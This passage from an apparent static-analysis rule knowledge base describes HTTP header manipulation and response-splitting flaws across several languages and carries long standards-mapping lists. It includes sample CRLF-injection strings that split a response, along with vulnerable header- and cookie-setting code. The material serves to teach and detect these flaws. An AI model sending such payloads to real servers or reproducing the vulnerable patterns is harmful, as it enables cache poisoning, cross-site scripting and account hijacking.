[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and uses this in a get request to another part of the site.


author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith" is submitted in the request, the HTTP response might take the following form:


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...


However, because the value of the URL is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n...", then the HTTP response would be split into two responses of the following form:


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker

POST /index.php HTTP/1.1
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue to receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.ruby.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, Play Framework will throw an exception if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.


2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment assumes name and value may be controlled by an attacker. The code sets an HTTP header whose name and value may be controlled by an attacker:


...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...


Assuming a name/value pair consisting of author and Jane Smith, the HTTP response including this header might take the following form:


HTTP/1.1 200 OK
...
author:Jane Smith
...


However, because the value of the header is formed of unvalidated user input, an attacker may submit a malicious name/value pair, such as HTTP/1.1 200 OK\r\n...foo and bar, then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.swift.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers, however, servers that support classic ASP often do not have that protection mechanism.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

